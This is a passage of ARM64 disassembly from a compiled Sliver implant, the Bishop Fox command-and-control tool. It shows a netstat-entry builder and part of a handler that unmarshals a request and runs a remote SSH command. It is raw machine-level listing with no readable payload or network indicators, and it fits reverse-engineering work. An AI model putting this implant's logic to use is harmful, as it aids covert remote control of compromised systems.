    00506f34ldr x4, [sp+936]
    00506f38ldr x3, [sp+928]
    00506f3cadrp x0, 0x17b000
    00506f40add x0, x0, 288
    00506f44bl runtime.typedslicecopy
    00506f48ldr x5, [sp+432]
    00506f4cldr x6, [sp+440]
    00506f50ldr x7, [sp+448]
    00506f54str x5, [sp+304]
    00506f58str x6, [sp+312]
    00506f5cstr x7, [sp+320]
    00506f60b 0x506f68
    00506f64
    00506f64loc_506f64:
    00506f64b 0x506f68
    00506f68
    00506f68loc_506f68:
    00506f68ldr x2, [sp+184]
    00506f6cldrsb x27, [x2]
    00506f70ldr x3, [sp+304]
    00506f74ldr x4, [sp+312]
    00506f78ldr x5, [sp+320]
    00506f7cstr x4, [x2+16]
    00506f80str x5, [x2+24]
    00506f84adrp x27, 0x545000
    00506f88ldr w4, [x27+3056]
    00506f8ccbz w4, 0x506f94
    00506f90b 0x506f98
    00506f94
    00506f94loc_506f94:
    00506f94b 0x506fac
    00506f98
    00506f98loc_506f98:
    00506f98bl runtime.gcWriteBarrier2
    00506f9cstr x3, [x25]
    00506fa0ldr x4, [x2+8]
    00506fa4str x4, [x25+8]
    00506fa8b 0x506fac
    00506fac
    00506facloc_506fac:
    00506facstr x3, [x2+8]
    00506fb0ldr x2, [sp+184]
    00506fb4str x2, [sp+920]
    00506fb8add x27, sp, 896
    00506fbcstp xzr, xzr, [x27]
    00506fc0str xzr, [sp+912]
    00506fc4add x27, sp, 952
    00506fc8stp xzr, xzr, [x27]
    00506fccldr x1, [sp+920]
    00506fd0adrp x0, 0x20e000
    00506fd4add x0, x0, 128
    00506fd8bl google.golang.org/protobuf/proto.Marshal
    00506fdcstr x0, [sp+896]
    00506fe0str x1, [sp+904]
    00506fe4str x2, [sp+912]
    00506fe8str x3, [sp+952]
    00506fecstr x4, [sp+960]
    00506ff0ldr x2, [sp+896]
    00506ff4ldr x3, [sp+904]
    00506ff8ldr x4, [sp+912]
    00506ffcstr x2, [sp+1032]
    00507000str x3, [sp+1040]
    00507004str x4, [sp+1048]
    00507008ldr x2, [sp+952]
    0050700cldr x3, [sp+960]
    00507010str x2, [sp+1016]
    00507014str x3, [sp+1024]
    00507018ldr x2, [sp+1032]
    0050701cldr x3, [sp+1040]
    00507020ldr x4, [sp+1048]
    00507024str x2, [sp+328]
    00507028str x3, [sp+336]
    0050702cstr x4, [sp+344]
    00507030ldr x3, [sp+1016]
    00507034ldr x4, [sp+1024]
    00507038str x3, [sp+208]
    0050703cstr x4, [sp+216]
    00507040ldr x0, [sp+328]
    00507044ldr x1, [sp+336]
    00507048ldr x2, [sp+344]
    0050704cldr x26, [sp+1216]
    00507050ldr x5, [x26]
    00507054blr x5
    00507058b 0x507060
    0050705c
    0050705cloc_50705c:
    0050705cb 0x507060
    00507060
    00507060loc_507060:
    00507060ldp x29, x30, [sp-8]
    00507064add sp, sp, 1184
    00507068ret x30
    0050706c
    0050706cloc_50706c:
    0050706cstp x0, x1, [sp+8]
    00507070stp x2, x3, [sp+24]
    00507074mov x3, x30
    00507078bl runtime.morestack_noctxt.abi0
    0050707cldp x0, x1, [sp+8]
    00507080ldp x2, x3, [sp+24]
    00507084b 0x5063c0
    00507088udf 0
    0050708cudf 0
    005063c0
    00507090
    00507090github.com/bishopfox/sliver/implant/sliver/handlers.buildEntries: ; void github.com/bishopfox/sliver/implant/sliver/handlers.buildEntries(struct string proto, struct []github.com/bishopfox/sliver/implant/sliver/netstat.SockTabEntry s)
    00507090ldr x16, [x28+16]
    00507094sub x17, sp, 304
    00507098subs xzr, x17, x16
    0050709cb.ls 0x507638
    005070a0sub x20, sp, 432
    005070a4stp x29, x30, [x20-8]
    005070a8add sp, x20, 0
    005070acsub x29, sp, 8
    005070b0str x0, [sp+440]
    005070b4str x1, [sp+448]
    005070b8str x2, [sp+456]
    005070bcstr x3, [sp+464]
    005070c0str x4, [sp+472]
    005070c4str xzr, [sp+120]
    005070c8stp xzr, xzr, [sp+128]
    005070ccadrp x3, 0x544000
    005070d0add x3, x3, 1504
    005070d4str x3, [sp+160]
    005070d8stp xzr, xzr, [sp+168]
    005070dcldr x3, [sp+464]
    005070e0ldr x4, [sp+456]
    005070e4ldr x5, [sp+472]
    005070e8str x4, [sp+264]
    005070ecstr x3, [sp+272]
    005070f0str x5, [sp+280]
    005070f4str xzr, [sp+112]
    005070f8str x3, [sp+104]
    005070fcldr x3, [sp+264]
    00507100str x3, [sp+96]
    00507104b 0x507108
    00507108
    00507108loc_507108:
    00507108ldr x3, [sp+104]
    0050710cldr x4, [sp+112]
    00507110subs xzr, x3, x4
    00507114b.gt 0x50711c
    00507118b 0x507614
    0050711c
    0050711cloc_50711c:
    0050711cldr x3, [sp+96]
    00507120str x3, [sp+400]
    00507124ldr x3, [sp+400]
    00507128ldp x4, x5, [x3]
    0050712cldp x6, x7, [x3+16]
    00507130ldp x3, x8, [x3+32]
    00507134stp x4, x5, [sp+184]
    00507138stp x6, x7, [sp+200]
    0050713cstp x3, x8, [sp+216]
    00507140str wzr, [sp+92]
    00507144stp xzr, xzr, [sp+144]
    00507148ldr x3, [sp+224]
    0050714ccbnz x3, 0x507154
    00507150b 0x507180
    00507154
    00507154loc_507154:
    00507154ldr x3, [sp+224]
    00507158ldrsb x27, [x3]
    0050715cldr x3, [x3]
    00507160str w3, [sp+92]
    00507164ldr x3, [sp+224]
    00507168ldrsb x27, [x3]
    0050716cldr x4, [x3+8]
    00507170ldr x3, [x3+16]
    00507174str x4, [sp+144]
    00507178str x3, [sp+152]
    0050717cb 0x507184
    00507180
    00507180loc_507180:
    00507180b 0x507184
    00507184
    00507184loc_507184:
    00507184ldr x3, [sp+200]
    00507188ldrsb x27, [x3]
    0050718cldr x0, [x3]
    00507190ldr x1, [x3+8]
    00507194ldr x2, [x3+16]
    00507198str x0, [sp+376]
    0050719cstr x1, [sp+384]
    005071a0str x2, [sp+392]
    005071a4bl net.IP.String
    005071a8str x0, [sp+248]
    005071acstr x1, [sp+256]
    005071b0ldr x3, [sp+208]
    005071b4ldrsb x27, [x3]
    005071b8ldr x0, [x3]
    005071bcldr x1, [x3+8]
    005071c0ldr x2, [x3+16]
    005071c4str x0, [sp+352]
    005071c8str x1, [sp+360]
    005071ccstr x2, [sp+368]
    005071d0bl net.IP.String
    005071d4str x0, [sp+232]
    005071d8str x1, [sp+240]
    005071dcldrb w0, [sp+216]
    005071e0bl github.com/bishopfox/sliver/implant/sliver/netstat.SkState.String
    005071e4str x0, [sp+408]
    005071e8str x1, [sp+416]
    005071ecadrp x0, 0x187000
    005071f0add x0, x0, 1856
    005071f4bl runtime.newobject
    005071f8str x0, [sp+336]
    005071fcadrp x27, 0x544000
    00507200ldr w3, [x27+3056]
    00507204cbz w3, 0x50720c
    00507208b 0x507210
    0050720c
    0050720cloc_50720c:
    0050720cb 0x50722c
    00507210
    00507210loc_507210:
    00507210str x0, [sp+304]
    00507214mov x1, x0
    00507218adrp x0, 0x187000
    0050721cadd x0, x0, 1856
    00507220bl runtime.wbZero
    00507224ldr x0, [sp+304]
    00507228b 0x50722c
    0050722c
    0050722cloc_50722c:
    0050722cmov x20, x0
    00507230adr x27, 16
    00507234stp x29, x27, [sp-24]
    00507238sub x29, sp, 24
    0050723cbl fn_87cf8
    00507240sub x29, sp, 8
    00507244str xzr, [x0+96]
    00507248adrp x0, 0x16c000
    0050724cadd x0, x0, 2112
    00507250bl runtime.newobject
    00507254str x0, [sp+328]
    00507258adrp x27, 0x544000
    0050725cldr w1, [x27+3056]
    00507260cbz w1, 0x507268
    00507264b 0x50726c
    00507268
    00507268loc_507268:
    00507268b 0x507288
    0050726c
    0050726cloc_50726c:
    0050726cstr x0, [sp+296]
    00507270mov x1, x0
    00507274adrp x0, 0x16c000
    00507278add x0, x0, 2112
    0050727cbl runtime.wbZero
    00507280ldr x0, [sp+296]
    00507284b 0x507288
    00507288
    00507288loc_507288:
    00507288stp xzr, xzr, [x0]
    0050728cstp xzr, xzr, [x0+16]
    00507290stp xzr, xzr, [x0+32]
    00507294stp xzr, xzr, [x0+48]
    00507298ldr x1, [sp+328]
    0050729cldrsb x27, [x1]
    005072a0ldr x2, [sp+248]
    005072a4ldr x3, [sp+256]
    005072a8str x3, [x1+16]
    005072acadrp x27, 0x544000
    005072b0ldr w3, [x27+3056]
    005072b4cbz w3, 0x5072bc
    005072b8b 0x5072c0
    005072bc
    005072bcloc_5072bc:
    005072bcb 0x5072d4
    005072c0
    005072c0loc_5072c0:
    005072c0bl runtime.gcWriteBarrier2
    005072c4str x2, [x25]
    005072c8ldr x3, [x1+8]
    005072ccstr x3, [x25+8]
    005072d0b 0x5072d4
    005072d4
    005072d4loc_5072d4:
    005072d4str x2, [x1+8]
    005072d8ldr x1, [sp+328]
    005072dcldrsb x27, [x1]
    005072e0ldr x2, [sp+200]
    005072e4ldrsb x27, [x2]
    005072e8ldrh w2, [x2+24]
    005072ecstr w2, [x1+24]
    005072f0ldr x1, [sp+336]
    005072f4ldrsb x27, [x1]
    005072f8ldr x2, [sp+328]
    005072fcadrp x27, 0x544000
    00507300ldr w3, [x27+3056]
    00507304cbz w3, 0x50730c
    00507308b 0x507310
    0050730c
    0050730cloc_50730c:
    0050730cb 0x507324
    00507310
    00507310loc_507310:
    00507310bl runtime.gcWriteBarrier2
    00507314str x2, [x25]
    00507318ldr x3, [x1+8]
    0050731cstr x3, [x25+8]
    00507320b 0x507324
    00507324
    00507324loc_507324:
    00507324str x2, [x1+8]
    00507328adrp x0, 0x16c000
    0050732cadd x0, x0, 2112
    00507330bl runtime.newobject
    00507334str x0, [sp+320]
    00507338adrp x27, 0x544000
    0050733cldr w1, [x27+3056]
    00507340cbz w1, 0x507348
    00507344b 0x50734c
    00507348
    00507348loc_507348:
    00507348b 0x507368
    0050734c
    0050734cloc_50734c:
    0050734cstr x0, [sp+296]
    00507350mov x1, x0
    00507354adrp x0, 0x16c000
    00507358add x0, x0, 2112
    0050735cbl runtime.wbZero
    00507360ldr x0, [sp+296]
    00507364b 0x507368
    00507368
    00507368loc_507368:
    00507368stp xzr, xzr, [x0]
    0050736cstp xzr, xzr, [x0+16]
    00507370stp xzr, xzr, [x0+32]
    00507374stp xzr, xzr, [x0+48]
    00507378ldr x1, [sp+320]
    0050737cldrsb x27, [x1]
    00507380ldr x2, [sp+232]
    00507384ldr x3, [sp+240]
    00507388str x3, [x1+16]
    0050738cadrp x27, 0x544000
    00507390ldr w3, [x27+3056]
    00507394cbz w3, 0x50739c
    00507398b 0x5073a0
    0050739c
    0050739cloc_50739c:
    0050739cb 0x5073b4
    005073a0
    005073a0loc_5073a0:
    005073a0bl runtime.gcWriteBarrier2
    005073a4str x2, [x25]
    005073a8ldr x3, [x1+8]
    005073acstr x3, [x25+8]
    005073b0b 0x5073b4
    005073b4
    005073b4loc_5073b4:
    005073b4str x2, [x1+8]
    005073b8ldr x1, [sp+320]
    005073bcldrsb x27, [x1]
    005073c0ldr x2, [sp+208]
    005073c4ldrsb x27, [x2]
    005073c8ldrh w2, [x2+24]
    005073ccstr w2, [x1+24]
    005073d0ldr x1, [sp+336]
    005073d4ldrsb x27, [x1]
    005073d8ldr x2, [sp+320]
    005073dcadrp x27, 0x544000
    005073e0ldr w3, [x27+3056]
    005073e4cbz w3, 0x5073ec
    005073e8b 0x5073f0
    005073ec
    005073ecloc_5073ec:
    005073ecb 0x507404
    005073f0
    005073f0loc_5073f0:
    005073f0bl runtime.gcWriteBarrier2
    005073f4str x2, [x25]
    005073f8ldr x3, [x1+16]
    005073fcstr x3, [x25+8]
    00507400b 0x507404
    00507404
    00507404loc_507404:
    00507404str x2, [x1+16]
    00507408ldr x1, [sp+336]
    0050740cldrsb x27, [x1]
    00507410ldr x2, [sp+408]
    00507414ldr x3, [sp+416]
    00507418str x3, [x1+32]
    0050741cadrp x27, 0x544000
    00507420ldr w3, [x27+3056]
    00507424cbz w3, 0x50742c
    00507428b 0x507430
    0050742c
    0050742cloc_50742c:
    0050742cb 0x507444
    00507430
    00507430loc_507430:
    00507430bl runtime.gcWriteBarrier2
    00507434str x2, [x25]
    00507438ldr x3, [x1+24]
    0050743cstr x3, [x25+8]
    00507440b 0x507444
    00507444
    00507444loc_507444:
    00507444str x2, [x1+24]
    00507448ldr x1, [sp+336]
    0050744cldrsb x27, [x1]
    00507450ldr w2, [sp+220]
    00507454str w2, [x1+40]
    00507458adrp x0, 0x18a000
    0050745cadd x0, x0, 2208
    00507460bl runtime.newobject
    00507464str x0, [sp+312]
    00507468adrp x27, 0x544000
    0050746cldr w1, [x27+3056]
    00507470cbz w1, 0x507478
    00507474b 0x50747c
    00507478
    00507478loc_507478:
    00507478b 0x507498
    0050747c
    0050747cloc_50747c:
    0050747cstr x0, [sp+288]
    00507480mov x1, x0
    00507484adrp x0, 0x18a000
    00507488add x0, x0, 2208
    0050748cbl runtime.wbZero
    00507490ldr x0, [sp+288]
    00507494b 0x507498
    00507498
    00507498loc_507498:
    00507498mov x20, x0
    0050749cadr x27, 16
    005074a0stp x29, x27, [sp-24]
    005074a4sub x29, sp, 24
    005074a8bl fn_87cf0
    005074acsub x29, sp, 8
    005074b0ldr x5, [sp+312]
    005074b4ldrsb x27, [x5]
    005074b8ldrsw x6, [sp+92]
    005074bcstr w6, [x5+8]
    005074c0ldr x5, [sp+312]
    005074c4ldrsb x27, [x5]
    005074c8ldr x6, [sp+144]
    005074ccldr x7, [sp+152]
    005074d0str x7, [x5+24]
    005074d4adrp x27, 0x544000
    005074d8ldr w7, [x27+3056]
    005074dccbz w7, 0x5074e4
    005074e0b 0x5074e8
    005074e4
    005074e4loc_5074e4:
    005074e4b 0x5074fc
    005074e8
    005074e8loc_5074e8:
    005074e8bl runtime.gcWriteBarrier2
    005074ecstr x6, [x25]
    005074f0ldr x7, [x5+16]
    005074f4str x7, [x25+8]
    005074f8b 0x5074fc
    005074fc
    005074fcloc_5074fc:
    005074fcstr x6, [x5+16]
    00507500ldr x5, [sp+336]
    00507504ldrsb x27, [x5]
    00507508ldr x6, [sp+312]
    0050750cadrp x27, 0x544000
    00507510ldr w7, [x27+3056]
    00507514cbz w7, 0x50751c
    00507518b 0x507520
    0050751c
    0050751cloc_50751c:
    0050751cb 0x507534
    00507520
    00507520loc_507520:
    00507520bl runtime.gcWriteBarrier2
    00507524str x6, [x25]
    00507528ldr x7, [x5+48]
    0050752cstr x7, [x25+8]
    00507530b 0x507534
    00507534
    00507534loc_507534:
    00507534str x6, [x5+48]
    00507538ldr x5, [sp+336]
    0050753cldrsb x27, [x5]
    00507540ldr x6, [sp+440]
    00507544ldr x7, [sp+448]
    00507548str x7, [x5+64]
    0050754cadrp x27, 0x544000
    00507550ldr w7, [x27+3056]
    00507554cbz w7, 0x50755c
    00507558b 0x507560
    0050755c
    0050755cloc_50755c:
    0050755cb 0x507574
    00507560
    00507560loc_507560:
    00507560bl runtime.gcWriteBarrier2
    00507564str x6, [x25]
    00507568ldr x7, [x5+56]
    0050756cstr x7, [x25+8]
    00507570b 0x507574
    00507574
    00507574loc_507574:
    00507574str x6, [x5+56]
    00507578ldr x5, [sp+336]
    0050757cstr x5, [sp+344]
    00507580ldr x2, [sp+176]
    00507584ldr x0, [sp+160]
    00507588ldr x5, [sp+168]
    0050758cadd x1, x5, 1
    00507590subs xzr, x2, x1
    00507594b.hs 0x50759c
    00507598b 0x5075a0
    0050759c
    0050759cloc_50759c:
    0050759cb 0x5075b4
    005075a0
    005075a0loc_5075a0:
    005075a0orr x3, xzr, 1
    005075a4adrp x4, 0x17a000
    005075a8add x4, x4, 288
    005075acbl runtime.growslice
    005075b0b 0x5075b4
    005075b4
    005075b4loc_5075b4:
    005075b4sub x3, x1, 1
    005075b8ldr x4, [sp+344]
    005075bcadrp x27, 0x544000
    005075c0ldr w5, [x27+3056]
    005075c4cbz w5, 0x5075cc
    005075c8b 0x5075d0
    005075cc
    005075ccloc_5075cc:
    005075ccb 0x5075e4
    005075d0
    005075d0loc_5075d0:
    005075d0bl runtime.gcWriteBarrier2
    005075d4str x4, [x25]
    005075d8ldr x5, [x0+3*x3]
    005075dcstr x5, [x25+8]
    005075e0b 0x5075e4
    005075e4
    005075e4loc_5075e4:
    005075e4str x4, [x0+3*x3]
    005075e8str x0, [sp+160]
    005075ecstr x1, [sp+168]
    005075f0str x2, [sp+176]
    005075f4b 0x5075f8
    005075f8
    005075f8loc_5075f8:
    005075f8ldr x3, [sp+112]
    005075fcadd x3, x3, 1
    00507600str x3, [sp+112]
    00507604ldr x3, [sp+400]
    00507608add x3, x3, 48
    0050760cstr x3, [sp+96]
    00507610b 0x507108
    00507614
    00507614loc_507614:
    00507614ldr x0, [sp+160]
    00507618ldr x1, [sp+168]
    0050761cldr x2, [sp+176]
    00507620str x0, [sp+120]
    00507624str x1, [sp+128]
    00507628str x2, [sp+136]
    0050762cldp x29, x30, [sp-8]
    00507630add sp, sp, 432
    00507634ret x30
    00507638
    00507638loc_507638:
    00507638stp x0, x1, [sp+8]
    0050763cstp x2, x3, [sp+24]
    00507640str x4, [sp+40]
    00507644mov x3, x30
    00507648bl runtime.morestack_noctxt.abi0
    0050764cldp x0, x1, [sp+8]
    00507650ldp x2, x3, [sp+24]
    00507654ldr x4, [sp+40]
    00507658b 0x507090
    0050765cudf 0
    00507090
    00507660
    00507660github.com/bishopfox/sliver/implant/sliver/handlers.runSSHCommandHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers.runSSHCommandHandler(struct []uint8 data, github.com/bishopfox/sliver/implant/sliver/handlers.RPCResponse resp)
    00507660ldr x16, [x28+16]
    00507664sub x17, sp, 544
    00507668subs xzr, x17, x16
    0050766cb.ls 0x507c30
    00507670sub x20, sp, 672
    00507674stp x29, x30, [x20-8]
    00507678add sp, x20, 0
    0050767csub x29, sp, 8
    00507680str x0, [sp+680]
    00507684str x1, [sp+688]
    00507688str x2, [sp+696]
    0050768cstr x3, [sp+704]
    00507690adrp x0, 0x192000
    00507694add x0, x0, 3168
    00507698bl runtime.newobject
    0050769cstr x0, [sp+512]
    005076a0adrp x27, 0x544000
    005076a4ldr w1, [x27+3056]
    005076a8cbz w1, 0x5076b0
    005076acb 0x5076b4
    005076b0
    005076b0loc_5076b0:
    005076b0b 0x5076d0
    005076b4
    005076b4loc_5076b4:
    005076b4str x0, [sp+304]
    005076b8mov x1, x0
    005076bcadrp x0, 0x192000
    005076c0add x0, x0, 3168
    005076c4bl runtime.wbZero
    005076c8ldr x0, [sp+304]
    005076ccb 0x5076d0
    005076d0
    005076d0loc_5076d0:
    005076d0mov x20, x0
    005076d4adr x27, 16
    005076d8stp x29, x27, [sp-24]
    005076dcsub x29, sp, 24
    005076e0bl fn_87ce0
    005076e4sub x29, sp, 8
    005076e8str xzr, [x0+192]
    005076ecldr x4, [sp+512]
    005076f0str x4, [sp+232]
    005076f4str x4, [sp+616]
    005076f8ldr x0, [sp+680]
    005076fcldr x1, [sp+688]
    00507700ldr x2, [sp+696]
    00507704adrp x3, 0x20c000
    00507708add x3, x3, 4000
    0050770cbl google.golang.org/protobuf/proto.Unmarshal
    00507710str x0, [sp+208]
    00507714str x1, [sp+216]
    00507718cbnz x0, 0x507720
    0050771cb 0x5077d4
    00507720
    00507720loc_507720:
    00507720ldrsb x27, [x0]
    00507724ldr x2, [x0+24]
    00507728mov x0, x1
    0050772cblr x2
    00507730str x0, [sp+600]
    00507734str x1, [sp+608]
    00507738add x27, sp, 584
    0050773cstp xzr, xzr, [x27]
    00507740add x1, sp, 584
    00507744str x1, [sp+480]
    00507748ldr x0, [sp+600]
    0050774cldr x1, [sp+608]
    00507750bl runtime.convTstring
    00507754str x0, [sp+472]
    00507758ldr x1, [sp+480]
    0050775cldrsb x27, [x1]
    00507760adrp x2, 0xee000
    00507764add x2, x2, 2944
    00507768str x2, [x1]
    0050776cadrp x27, 0x544000
    00507770ldr w2, [x27+3056]
    00507774cbz w2, 0x50777c
    00507778b 0x507780
    0050777c
    0050777cloc_50777c:
    0050777cb 0x507794
    00507780
    00507780loc_507780:
    00507780bl runtime.gcWriteBarrier2
    00507784str x0, [x25]
    00507788ldr x5, [x1+8]
    0050778cstr x5, [x25+8]
    00507790b 0x507794
    00507794
    00507794loc_507794:
    00507794str x0, [x1+8]
    00507798ldr x2, [sp+480]
    0050779cldrsb x27, [x2]
    005077a0b 0x5077a4
    005077a4
    005077a4loc_5077a4:
    005077a4str x2, [sp+488]
    005077a8orr x4, xzr, 1
    005077acstr x4, [sp+496]
    005077b0str x4, [sp+504]
    005077b4adrp x0, 0x1b3000
    005077b8add x0, x0, 4010
    005077bcmovz x1, 27
    005077c0mov x3, x4
    005077c4bl log.Printf
    005077c8ldp x29, x30, [sp-8]
    005077ccadd sp, sp, 672
    005077d0ret x30
    005077d4
    005077d4loc_5077d4:
    005077d4add x27, sp, 600
    005077d8stp xzr, xzr, [x27]
    005077dcadd x27, sp, 568
    005077e0stp xzr, xzr, [x27]
    005077e4add x27, sp, 552
    005077e8stp xzr, xzr, [x27]
    005077ecldr x15, [sp+232]
    005077f0ldrsb x27, [x15]
    005077f4ldr x16, [x15+24]
    005077f8ldr x15, [x15+32]
    005077fcstr x16, [sp+456]
    00507800str x15, [sp+464]
    00507804ldr x15, [sp+232]
    00507808ldrsb x27, [x15]
    0050780cldr w15, [x15+40]
    00507810strh w15, [sp+174]
    00507814ldr x15, [sp+232]
    00507818ldrsb x27, [x15]
    0050781cldr x16, [x15+8]
    00507820ldr x15, [x15+16]
    00507824str x16, [sp+440]
    00507828str x15, [sp+448]
    0050782cldr x15, [sp+232]
    00507830ldrsb x27, [x15]
    00507834ldr x16, [x15+64]
    00507838ldr x15, [x15+72]
    0050783cstr x16, [sp+424]
    00507840str x15, [sp+432]
    00507844ldr x15, [sp+232]
    00507848ldrsb x27, [x15]
    0050784cldr x16, [x15+80]
    00507850ldr x17, [x15+88]
    00507854ldr x15, [x15+96]
    00507858str x16, [sp+400]
    0050785cstr x17, [sp+408]
    00507860str x15, [sp+416]
    00507864ldr x15, [sp+232]
    00507868ldrsb x27, [x15]
    0050786cldr x16, [x15+104]
    00507870ldr x15, [x15+112]
    00507874str x16, [sp+384]
    00507878str x15, [sp+392]
    0050787cldr x15, [sp+232]
    00507880ldrsb x27, [x15]
    00507884ldr x16, [x15+120]
    00507888ldr x17, [x15+128]
    0050788cldr x15, [x15+136]
    00507890str x16, [sp+360]
    00507894str x17, [sp+368]
    00507898str x15, [sp+376]
    0050789cldr x15, [sp+232]
    005078a0ldrsb x27, [x15]
    005078a4ldr x16, [x15+144]
    005078a8ldr x15, [x15+152]
    005078acstr x16, [sp+344]
    005078b0str x15, [sp+352]
    005078b4ldr x15, [sp+232]
    005078b8ldrsb x27, [x15]
    005078bcldr x16, [x15+48]
    005078c0ldr x15, [x15+56]
    005078c4str x16, [sp+328]
    005078c8str x15, [sp+336]
    005078ccldrh w2, [sp+174]
    005078d0ldr x7, [sp+400]
    005078d4ldr x8, [sp+408]
    005078d8ldr x9, [sp+416]
    005078dcldr x12, [sp+360]
    005078e0ldr x13, [sp+368]
    005078e4ldr x14, [sp+376]
    005078e8ldr x0, [sp+456]
    005078ecldr x1, [sp+464]
    005078f0ldr x4, [sp+448]
    005078f4ldr x3, [sp+440]
    005078f8ldr x5, [sp+424]
    005078fcldr x6, [sp+432]
    00507900ldr x10, [sp+384]
    00507904ldr x11, [sp+392]
    00507908ldr x17, [sp+344]
    0050790cldr x19, [sp+352]
    00507910str x17, [sp+8]
    00507914str x19, [sp+16]
    00507918str x16, [sp+24]
    0050791cstr x15, [sp+32]
    00507920bl github.com/bishopfox/sliver/implant/sliver/shell/ssh.RunSSHCommand
    00507924str x0, [sp+600]
    00507928str x1, [sp+608]
    0050792cstr x2, [sp+568]
    00507930str x3, [sp+576]
    00507934str x4, [sp+552]
    00507938str x5, [sp+560]
    0050793cldr x15, [sp+600]
    00507940ldr x16, [sp+608]
    00507944str x15, [sp+272]
    00507948str x16, [sp+280]
    0050794cldr x15, [sp+568]
    00507950ldr x16, [sp+576]
    00507954str x15, [sp+256]
    00507958str x16, [sp+264]
    0050795cldr x15, [sp+552]
    00507960ldr x16, [sp+560]
    00507964str x15, [sp+240]
    00507968str x16, [sp+248]
    0050796cldr x15, [sp+272]
    00507970ldr x16, [sp+280]
    00507974str x15, [sp+176]
    00507978str x16, [sp+184]
    0050797cldr x15, [sp+256]
    00507980ldr x16, [sp+264]
    00507984str x15, [sp+192]
    00507988str x16, [sp+200]
    0050798cldr x15, [sp+240]
    00507990ldr x16, [sp+248]
    00507994str x15, [sp+208]
    00507998str x16, [sp+216]
    0050799cadrp x0, 0x176000
    005079a0add x0, x0, 3104
    005079a4bl runtime.newobject
    005079a8str x0, [sp+320]
    005079acadrp x27, 0x544000
    005079b0ldr w15, [x27+3056]
    005079b4cbz w15, 0x5079bc
    005079b8b 0x5079c0
    005079bc
    005079bcloc_5079bc:
    005079bcb 0x5079dc
    005079c0
    005079c0loc_5079c0:
    005079c0str x0, [sp+296]
    005079c4mov x1, x0
    005079c8adrp x0, 0x176000
    005079ccadd x0, x0, 3104
    005079d0bl runtime.wbZero
    005079d4ldr x0, [sp+296]
    005079d8b 0x5079dc
    005079dc
    005079dcloc_5079dc:
    005079dcmov x20, x0
    005079e0adr x27, 16
    005079e4stp x29, x27, [sp-24]
    005079e8sub x29, sp, 24
    005079ecbl fn_87cfc
    005079f0sub x29, sp, 8
    005079f4adrp x0, 0x17e000
    005079f8add x0, x0, 3648
    005079fcbl runtime.newobject
    00507a00str x0, [sp+312]
    00507a04adrp x27, 0x544000
    00507a08ldr w1, [x27+3056]
    00507a0ccbz w1, 0x507a14
    00507a10b 0x507a18
    00507a14
    00507a14loc_507a14:
    00507a14b 0x507a34
    00507a18
    00507a18loc_507a18:
    00507a18str x0, [sp+288]
    00507a1cmov x1, x0
    00507a20adrp x0, 0x17e000
    00507a24add x0, x0, 3648
    00507a28bl runtime.wbZero
    00507a2cldr x0, [sp+288]
    00507a30b 0x507a34
    00507a34
    00507a34loc_507a34:
    00507a34mov x20, x0
    00507a38adr x27, 16
    00507a3cstp x29, x27, [sp-24]
    00507a40sub x29, sp, 24
    00507a44bl fn_87cf8
    00507a48sub x29, sp, 8
    00507a4cldr x2, [sp+320]
    00507a50ldrsb x27, [x2]
    00507a54ldr x3, [sp+312]
    00507a58adrp x27, 0x544000
    00507a5cldr w4, [x27+3056]
    00507a60cbz w4, 0x507a68
    00507a64b 0x507a6c
    00507a68
    00507a68loc_507a68:
    00507a68b 0x507a80
    00507a6c
    00507a6cloc_507a6c:
    00507a6cbl runtime.gcWriteBarrier2
    00507a70str x3, [x25]
    00507a74ldr x4, [x2+40]
    00507a78str x4, [x25+8]
    00507a7cb 0x507a80
    00507a80
    00507a80loc_507a80:
    00507a80str x3, [x2+40]
    00507a84ldr x2, [sp+320]
    00507a88ldrsb x27, [x2]
    00507a8cldr x3, [sp+176]
    00507a90ldr x4, [sp+184]
    00507a94str x4, [x2+16]
    00507a98adrp x27, 0x544000
    00507a9cldr w4, [x27+3056]
    00507aa0cbz w4, 0x507aa8
    00507aa4b 0x507aac
    00507aa8
    00507aa8loc_507aa8:
    00507aa8b 0x507ac0
    00507aac
    00507aacloc_507aac:
    00507aacbl runtime.gcWriteBarrier2
    00507ab0str x3, [x25]
    00507ab4ldr x4, [x2+8]
    00507ab8str x4, [x25+8]
    00507abcb 0x507ac0
    00507ac0
    00507ac0loc_507ac0:
    00507ac0str x3, [x2+8]
    00507ac4ldr x2, [sp+320]
    00507ac8ldrsb x27, [x2]
    00507accldr x3, [sp+192]
    00507ad0ldr x4, [sp+200]
    00507ad4str x4, [x2+32]
    00507ad8adrp x27, 0x544000
    00507adcldr w4, [x27+3056]
    00507ae0cbz w4, 0x507ae8
    00507ae4b 0x507aec
    00507ae8
    00507ae8loc_507ae8:
    00507ae8b 0x507b00
    00507aec
    00507aecloc_507aec:
    00507aecbl runtime.gcWriteBarrier2
    00507af0str x3, [x25]
    00507af4ldr x4, [x2+24]
    00507af8str x4, [x25+8]
    00507afcb 0x507b00
    00507b00
    00507b00loc_507b00:
    00507b00str x3, [x2+24]
    00507b04ldr x2, [sp+320]
    00507b08str x2, [sp+224]
    00507b0cldr x2, [sp+208]
    00507b10cbnz x2, 0x507b18
    00507b14b 0x507b78
    00507b18
    00507b18loc_507b18:
    00507b18ldr x1, [sp+208]
    00507b1cldrsb x27, [x1]
    00507b20ldr x1, [x1+24]
    00507b24ldr x0, [sp+216]
    00507b28blr x1
    00507b2cstr x0, [sp+568]
    00507b30str x1, [sp+576]
    00507b34ldr x2, [sp+224]
    00507b38ldrsb x27, [x2]
    00507b3cldr x2, [x2+40]
    00507b40ldrsb x27, [x2]
    00507b44str x1, [x2+16]
    00507b48adrp x27, 0x544000
    00507b4cldr w1, [x27+3056]
    00507b50cbz w1, 0x507b58
    00507b54b 0x507b5c
    00507b58
    00507b58loc_507b58:
    00507b58b 0x507b70
    00507b5c
    00507b5cloc_507b5c:
    00507b5cbl runtime.gcWriteBarrier2
    00507b60str x0, [x25]
    00507b64ldr x3, [x2+8]
    00507b68str x3, [x25+8]
    00507b6cb 0x507b70
    00507b70
    00507b70loc_507b70:
    00507b70str x0, [x2+8]
    00507b74b 0x507b7c
    00507b78
    00507b78loc_507b78:
    00507b78b 0x507b7c
    00507b7c
    00507b7cloc_507b7c:
    00507b7cldr x2, [sp+224]
    00507b80str x2, [sp+544]
    00507b84str xzr, [sp+520]
    00507b88add x27, sp, 528
    00507b8cstp xzr, xzr, [x27]
    00507b90add x27, sp, 552
    00507b94stp xzr, xzr, [x27]
    00507b98ldr x1, [sp+544]
    00507b9cadrp x0, 0x20c000
    00507ba0add x0, x0, 4032
    00507ba4bl google.golang.org/protobuf/proto.Marshal
